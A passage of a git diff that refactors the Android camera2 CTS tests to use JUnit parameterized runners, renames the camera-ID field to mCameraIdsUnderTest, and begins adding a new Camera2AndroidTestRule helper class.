+ if (width >= size.getWidth() &&
+ height >= size.getHeight())
+ return size;
+ }
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "getMaxPreviewSize Failed. "+e.toString());
+ }
+ return PREVIEW_SIZE_BOUND;
+ }
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
index b56fcbf..a6c477c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
@@ -41,6 +41,13 @@
import java.util.List;
import java.util.Set;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.Test;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
/**
* <p>
* This class covers the {@link CameraCharacteristics} tests that are not
@@ -50,6 +57,8 @@
* Note that most of the tests in this class don't require camera open.
* </p>
*/
+
+@RunWith(Parameterized.class)
public class StaticMetadataTest extends Camera2AndroidTestCase {
private static final String TAG = "StaticMetadataTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -59,6 +68,7 @@
/**
* Test the available capability for different hardware support level devices.
*/
+ @Test
public void testHwSupportedLevel() throws Exception {
Key<StreamConfigurationMap> key =
CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
@@ -135,6 +145,7 @@
/**
* Test max number of output stream reported by device
*/
+ @Test
public void testMaxNumOutputStreams() throws Exception {
for (String id : mAllCameraIds) {
initStaticMetadata(id);
@@ -163,6 +174,7 @@
/**
* Test advertised capability does match available keys and vice versa
*/
+ @Test
public void testCapabilities() throws Exception {
for (String id : mAllCameraIds) {
initStaticMetadata(id);
@@ -298,6 +310,7 @@
requestKeys.add(CaptureRequest.CONTROL_MODE);
requestKeys.add(CaptureRequest.CONTROL_SCENE_MODE);
requestKeys.add(CaptureRequest.CONTROL_VIDEO_STABILIZATION_MODE);
+ requestKeys.add(CaptureRequest.CONTROL_ZOOM_RATIO);
requestKeys.add(CaptureRequest.FLASH_MODE);
requestKeys.add(CaptureRequest.JPEG_GPS_LOCATION);
requestKeys.add(CaptureRequest.JPEG_ORIENTATION);
@@ -533,6 +546,7 @@
/**
* Test lens facing.
*/
+ @Test
public void testLensFacing() throws Exception {
for (String id : mAllCameraIds) {
initStaticMetadata(id);
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index f28e50c..991649e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -57,8 +57,11 @@
import junit.framework.Assert;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
import org.junit.Test;
+@RunWith(Parameterized.class)
public class StillCaptureTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "StillCaptureTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -91,15 +94,15 @@
*/
@Test
public void testJpegExif() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- Log.i(TAG, "Testing JPEG exif for Camera " + mCameraIds[i]);
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Testing JPEG exif for Camera " + mCameraIdsUnderTest[i]);
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
Size maxJpegSize = mOrderedStillSizes.get(0);
stillExifTestByCamera(ImageFormat.JPEG, maxJpegSize);
} finally {
@@ -114,25 +117,25 @@
*/
@Test
public void testHeicExif() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- Log.i(TAG, "Testing HEIC exif for Camera " + mCameraIds[i]);
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Testing HEIC exif for Camera " + mCameraIdsUnderTest[i]);
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- if (!mAllStaticInfo.get(mCameraIds[i]).isHeicSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isHeicSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support HEIC, skipping");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
// Test maximum Heic size capture
List<Size> orderedHeicSizes = CameraTestUtils.getSupportedHeicSizes(
- mCameraIds[i], mCameraManager, null/*bound*/);
+ mCameraIdsUnderTest[i], mCameraManager, null/*bound*/);
Size maxHeicSize = orderedHeicSizes.get(0);
stillExifTestByCamera(ImageFormat.HEIC, maxHeicSize);
@@ -152,25 +155,25 @@
*/
@Test
public void testDynamicDepthCapture() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- Log.i(TAG, "Testing dynamic depth for Camera " + mCameraIds[i]);
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Testing dynamic depth for Camera " + mCameraIdsUnderTest[i]);
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- if (!mAllStaticInfo.get(mCameraIds[i]).isDepthJpegSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isDepthJpegSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support dynamic depth, skipping");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
// Check the maximum supported size.
List<Size> orderedDepthJpegSizes = CameraTestUtils.getSortedSizesForFormat(
- mCameraIds[i], mCameraManager, ImageFormat.DEPTH_JPEG, null/*bound*/);
+ mCameraIdsUnderTest[i], mCameraManager, ImageFormat.DEPTH_JPEG, null/*bound*/);
Size maxDepthJpegSize = orderedDepthJpegSizes.get(0);
stillDynamicDepthTestByCamera(ImageFormat.DEPTH_JPEG, maxDepthJpegSize);
} finally {
@@ -192,7 +195,7 @@
*/
@Test
public void testTakePicture() throws Exception{
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing basic take picture for Camera " + id);
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -220,7 +223,7 @@
*/
@Test
public void testTakePictureZsl() throws Exception{
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing basic ZSL take picture for Camera " + id);
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -246,18 +249,18 @@
*/
@Test
public void testBasicRawCapture() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- Log.i(TAG, "Testing raw capture for Camera " + mCameraIds[i]);
+ Log.i(TAG, "Testing raw capture for Camera " + mCameraIdsUnderTest[i]);
- if (!mAllStaticInfo.get(mCameraIds[i]).isCapabilitySupported(
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isCapabilitySupported(
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
- Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+ Log.i(TAG, "RAW capability is not supported in camera " + mCameraIdsUnderTest[i] +
". Skip the test.");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
rawCaptureTestByCamera(/*stillRequest*/null);
} finally {
closeDevice();
@@ -271,17 +274,17 @@
*/
@Test
public void testBasicRawZslCapture() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- Log.i(TAG, "Testing raw ZSL capture for Camera " + mCameraIds[i]);
+ Log.i(TAG, "Testing raw ZSL capture for Camera " + mCameraIdsUnderTest[i]);
- if (!mAllStaticInfo.get(mCameraIds[i]).isCapabilitySupported(
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isCapabilitySupported(
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
- Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+ Log.i(TAG, "RAW capability is not supported in camera " + mCameraIdsUnderTest[i] +
". Skip the test.");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
CaptureRequest.Builder stillRequest =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
stillRequest.set(CaptureRequest.CONTROL_ENABLE_ZSL, true);
@@ -304,17 +307,17 @@
*/
@Test
public void testFullRawCapture() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- Log.i(TAG, "Testing raw+JPEG capture for Camera " + mCameraIds[i]);
- if (!mAllStaticInfo.get(mCameraIds[i]).isCapabilitySupported(
+ Log.i(TAG, "Testing raw+JPEG capture for Camera " + mCameraIdsUnderTest[i]);
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isCapabilitySupported(
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
- Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+ Log.i(TAG, "RAW capability is not supported in camera " + mCameraIdsUnderTest[i] +
". Skip the test.");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
fullRawCaptureTestByCamera(/*stillRequest*/null);
} finally {
closeDevice();
@@ -333,16 +336,16 @@
*/
@Test
public void testFullRawZSLCapture() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- Log.i(TAG, "Testing raw+JPEG ZSL capture for Camera " + mCameraIds[i]);
- if (!mAllStaticInfo.get(mCameraIds[i]).isCapabilitySupported(
+ Log.i(TAG, "Testing raw+JPEG ZSL capture for Camera " + mCameraIdsUnderTest[i]);
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isCapabilitySupported(
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
- Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+ Log.i(TAG, "RAW capability is not supported in camera " + mCameraIdsUnderTest[i] +
". Skip the test.");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
CaptureRequest.Builder stillRequest =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
stillRequest.set(CaptureRequest.CONTROL_ENABLE_ZSL, true);
@@ -364,7 +367,7 @@
*/
@Test
public void testTouchForFocus() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing touch for focus for Camera " + id);
StaticMetadata staticInfo = mAllStaticInfo.get(id);
@@ -395,7 +398,7 @@
*/
@Test(timeout=60*60*1000) // timeout = 60 mins for long running tests
public void testStillPreviewCombination() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Still preview capture combination for Camera " + id);
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -423,7 +426,7 @@
*/
@Test
public void testAeCompensation() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing AE compensation for Camera " + id);
@@ -450,7 +453,7 @@
*/
@Test
public void testAeRegions() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing AE regions for Camera " + id);
openDevice(id);
@@ -476,7 +479,7 @@
*/
@Test
public void testAwbRegions() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing AE regions for Camera " + id);
openDevice(id);
@@ -502,7 +505,7 @@
*/
@Test
public void testAfRegions() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing AF regions for Camera " + id);
openDevice(id);
@@ -528,7 +531,7 @@
*/
@Test
public void testPreviewPersistence() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing preview persistence for Camera " + id);
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -546,7 +549,7 @@
@Test
public void testAePrecaptureTriggerCancelJpegCapture() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing AE precapture cancel for jpeg capture for Camera " + id);
@@ -581,7 +584,7 @@
*/
@Test
public void testAllocateBitmap() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing bitmap allocations for Camera " + id);
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -605,7 +608,7 @@
*/
@Test
public void testFocalLengths() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
StaticMetadata staticInfo = mAllStaticInfo.get(id);
if (staticInfo.isHardwareLevelLegacy()) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
index 3d84d38..1f2e93e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
@@ -52,11 +52,15 @@
import java.util.Arrays;
import java.util.List;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
import org.junit.Test;
/**
* CameraDevice preview test by using SurfaceView.
*/
+
+@RunWith(Parameterized.class)
public class SurfaceViewPreviewTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "SurfaceViewPreviewTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -86,15 +90,15 @@
*/
@Test
public void testCameraPreview() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- Log.i(TAG, "Testing preview for Camera " + mCameraIds[i]);
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Testing preview for Camera " + mCameraIdsUnderTest[i]);
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
previewTestByCamera();
} finally {
closeDevice();
@@ -111,15 +115,15 @@
*/
@Test
public void testBasicTestPatternPreview() throws Exception{
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- Log.i(TAG, "Testing preview for Camera " + mCameraIds[i]);
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Testing preview for Camera " + mCameraIdsUnderTest[i]);
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
previewTestPatternTestByCamera();
} finally {
closeDevice();
@@ -133,7 +137,7 @@
*/
@Test
public void testPreviewFpsRange() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -159,7 +163,7 @@
*/
@Test
public void testSurfaceSet() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -184,15 +188,15 @@
*/
@Test
public void testPreparePerformance() throws Throwable {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i]);
- preparePerformanceTestByCamera(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
+ preparePerformanceTestByCamera(mCameraIdsUnderTest[i]);
}
finally {
closeDevice();
@@ -344,15 +348,15 @@
*/
@Test
public void testSurfaceEquality() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i]);
- surfaceEqualityTestByCamera(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
+ surfaceEqualityTestByCamera(mCameraIdsUnderTest[i]);
}
finally {
closeDevice();
@@ -435,21 +439,21 @@
*/
@Test
public void testDeferredSurfaces() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIds[i]);
+ StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
if (staticInfo.isHardwareLevelLegacy()) {
- Log.i(TAG, "Camera " + mCameraIds[i] + " is legacy, skipping");
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] + " is legacy, skipping");
continue;
}
if (!staticInfo.isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i]);
- testDeferredSurfacesByCamera(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
+ testDeferredSurfacesByCamera(mCameraIdsUnderTest[i]);
}
finally {
closeDevice();
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
index 4cd0046..e4695e9 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
@@ -22,6 +22,7 @@
import android.content.Context;
import android.graphics.ImageFormat;
import android.graphics.Rect;
+import android.hardware.cts.helpers.CameraParameterizedTestCase;
import android.hardware.camera2.CameraCaptureSession;
import android.hardware.camera2.CameraCaptureSession.CaptureCallback;
import android.hardware.camera2.CameraCharacteristics;
@@ -31,6 +32,7 @@
import android.hardware.camera2.params.OutputConfiguration;
import android.hardware.camera2.params.SessionConfiguration;
import android.util.Size;
+import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
import android.hardware.camera2.cts.CameraTestUtils;
import android.hardware.camera2.cts.helpers.CameraErrorCollector;
import android.hardware.camera2.cts.helpers.StaticMetadata;
@@ -44,6 +46,7 @@
import android.util.Log;
import android.view.Surface;
import android.view.WindowManager;
+import androidx.test.InstrumentationRegistry;
import com.android.ex.camera2.blocking.BlockingSessionCallback;
import com.android.ex.camera2.blocking.BlockingStateCallback;
@@ -55,7 +58,11 @@
import java.util.HashMap;
import java.util.List;
-public class Camera2AndroidTestCase extends AndroidTestCase {
+import org.junit.Ignore;
+import org.junit.Test;
+
+// TODO: Can we de-duplicate this with Camera2AndroidBasicTestCase keeping in mind CtsVerifier ?
+public class Camera2AndroidTestCase extends Camera2ParameterizedTestCase {
private static final String TAG = "Camera2AndroidTestCase";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -63,12 +70,10 @@
protected static final Size DEFAULT_CAPTURE_SIZE = new Size(640, 480);
protected static final int CAPTURE_WAIT_TIMEOUT_MS = 5000;
- protected CameraManager mCameraManager;
protected CameraDevice mCamera;
protected CameraCaptureSession mCameraSession;
protected BlockingSessionCallback mCameraSessionListener;
protected BlockingStateCallback mCameraListener;
- protected String[] mCameraIds;
// include both standalone camera IDs and "hidden" physical camera IDs
protected String[] mAllCameraIds;
protected HashMap<String, StaticMetadata> mAllStaticInfo;
@@ -85,32 +90,15 @@
protected WindowManager mWindowManager;
- @Override
- public void setContext(Context context) {
- super.setContext(context);
- mCameraManager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
- assertNotNull("Can't connect to camera manager!", mCameraManager);
- mWindowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
- }
-
/**
* Set up the camera2 test case required environments, including CameraManager,
* HandlerThread, Camera IDs, and CameraStateCallback etc.
*/
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
+ mWindowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
- /**
- * Workaround for mockito and JB-MR2 incompatibility
- *
- * Avoid java.lang.IllegalArgumentException: dexcache == null
- * https://code.google.com/p/dexmaker/issues/detail?id=2
- */
- System.setProperty("dexmaker.dexcache", getContext().getCacheDir().toString());
-
- mCameraIds = mCameraManager.getCameraIdList();
- assertNotNull("Camera ids shouldn't be null", mCameraIds);
mHandlerThread = new HandlerThread(TAG);
mHandlerThread.start();
mHandler = new Handler(mHandlerThread.getLooper());
@@ -125,14 +113,14 @@
mAllStaticInfo = new HashMap<String, StaticMetadata>();
List<String> hiddenPhysicalIds = new ArrayList<>();
- for (String cameraId : mCameraIds) {
+ for (String cameraId : mCameraIdsUnderTest) {
CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId);
StaticMetadata staticMetadata = new StaticMetadata(props,
CheckLevel.ASSERT, /*collector*/null);
mAllStaticInfo.put(cameraId, staticMetadata);
for (String physicalId : props.getPhysicalCameraIds()) {
- if (!Arrays.asList(mCameraIds).contains(physicalId) &&
+ if (!Arrays.asList(mCameraIdsUnderTest).contains(physicalId) &&
!hiddenPhysicalIds.contains(physicalId)) {
hiddenPhysicalIds.add(physicalId);
props = mCameraManager.getCameraCharacteristics(physicalId);
@@ -143,23 +131,15 @@
}
}
}
- mAllCameraIds = new String[mCameraIds.length + hiddenPhysicalIds.size()];
- System.arraycopy(mCameraIds, 0, mAllCameraIds, 0, mCameraIds.length);
+ mAllCameraIds = new String[mCameraIdsUnderTest.length + hiddenPhysicalIds.size()];
+ System.arraycopy(mCameraIdsUnderTest, 0, mAllCameraIds, 0, mCameraIdsUnderTest.length);
for (int i = 0; i < hiddenPhysicalIds.size(); i++) {
- mAllCameraIds[mCameraIds.length + i] = hiddenPhysicalIds.get(i);
+ mAllCameraIds[mCameraIdsUnderTest.length + i] = hiddenPhysicalIds.get(i);
}
}
@Override
- protected void tearDown() throws Exception {
- String[] cameraIdsPostTest = mCameraManager.getCameraIdList();
- assertNotNull("Camera ids shouldn't be null", cameraIdsPostTest);
- Log.i(TAG, "Camera ids in setup:" + Arrays.toString(mCameraIds));
- Log.i(TAG, "Camera ids in tearDown:" + Arrays.toString(cameraIdsPostTest));
- assertTrue(
- "Number of cameras changed from " + mCameraIds.length + " to " +
- cameraIdsPostTest.length,
- mCameraIds.length == cameraIdsPostTest.length);
+ public void tearDown() throws Exception {
mHandlerThread.quitSafely();
mHandler = null;
closeDefaultImageReader();
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java
new file mode 100644
index 0000000..91f6b80
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java
@@ -0,0 +1,713 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts.testcases;
+
+import static android.hardware.camera2.cts.CameraTestUtils.*;
+import static com.android.ex.camera2.blocking.BlockingStateCallback.*;
+
+import android.content.Context;
+import android.graphics.Rect;
+
+import android.hardware.camera2.cts.CameraTestUtils;
+import android.hardware.camera2.CameraCaptureSession;
+import android.hardware.camera2.CameraCaptureSession.CaptureCallback;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
+import android.util.Size;
+import android.hardware.camera2.cts.helpers.CameraErrorCollector;
+import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.camera2.cts.helpers.StaticMetadata.CheckLevel;
+import android.media.Image;
+import android.media.Image.Plane;
+import android.media.ImageReader;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.util.Log;
+import android.view.Surface;
+import android.view.WindowManager;
+
+import com.android.ex.camera2.blocking.BlockingSessionCallback;
+import com.android.ex.camera2.blocking.BlockingStateCallback;
+
+import org.junit.rules.ExternalResource;
+
+import java.io.File;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+
+public class Camera2AndroidTestRule extends ExternalResource {
+ private static final String TAG = "Camera2AndroidBasicTestCase";
+ private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+
+ // Default capture size: VGA size is required by CDD.
+ protected static final Size DEFAULT_CAPTURE_SIZE = new Size(640, 480);
+ protected static final int CAPTURE_WAIT_TIMEOUT_MS = 5000;
+
+ private CameraManager mCameraManager;
+ private CameraDevice mCamera;
+ private CameraCaptureSession mCameraSession;
+ private BlockingSessionCallback mCameraSessionListener;
+ private BlockingStateCallback mCameraListener;
+ private String[] mCameraIdsUnderTest;
+ // include both standalone camera IDs and "hidden" physical camera IDs
+ private String[] mAllCameraIds;
+ private HashMap<String, StaticMetadata> mAllStaticInfo;
+ private ImageReader mReader;
+ private Surface mReaderSurface;
+ private Handler mHandler;
+ private HandlerThread mHandlerThread;
+ private StaticMetadata mStaticInfo;
+ private CameraErrorCollector mCollector;
+ private List<Size> mOrderedPreviewSizes; // In descending order.
+ private List<Size> mOrderedVideoSizes; // In descending order.
+ private List<Size> mOrderedStillSizes; // In descending order.
+ private String mDebugFileNameBase;
+
+ private WindowManager mWindowManager;
+ private Context mContext;
+
+ public Camera2AndroidTestRule(Context context) {
+ mContext = context;
+ }
+
+ public Context getContext() {
+ return mContext;
+ }
+
+ public String[] getCameraIdsUnderTest() {
+ return mCameraIdsUnderTest;
+ }
+
+ public StaticMetadata getStaticInfo() {
+ return mStaticInfo;
+ }
+
+ public CameraManager getCameraManager() {
+ return mCameraManager;
+ }
+
+ public void setStaticInfo(StaticMetadata staticInfo) {
+ mStaticInfo = staticInfo;
+ }
+
+ public CameraCaptureSession getCameraSession() {
+ return mCameraSession;
+ }
+
+ public CameraDevice getCamera() {
+ return mCamera;
+ }
+
+ public void setCamera(CameraDevice camera) {
+ mCamera = camera;
+ }
+
+ public void setCameraSession(CameraCaptureSession session) {
+ mCameraSession = session;
+ }
+
+ public BlockingStateCallback getCameraListener() {
+ return mCameraListener;
+ }
+
+ public BlockingSessionCallback getCameraSessionListener() {
+ return mCameraSessionListener;
+ }
+
+ public Handler getHandler() {
+ return mHandler;
+ }
+
+ public void setCameraSessionListener(BlockingSessionCallback listener) {
+ mCameraSessionListener = listener;
+ }
+
+ public ImageReader getReader() {
+ return mReader;
+ }
+
+ public HashMap<String, StaticMetadata> getAllStaticInfo() {
+ return mAllStaticInfo;
+ }
+
+ public List<Size> getOrderedPreviewSizes() {
+ return mOrderedPreviewSizes;
+ }
+
+ public List<Size> getOrderedStillSizes() {
+ return mOrderedStillSizes;
+ }
+
+ public Surface getReaderSurface() {
+ return mReaderSurface;
+ }
+
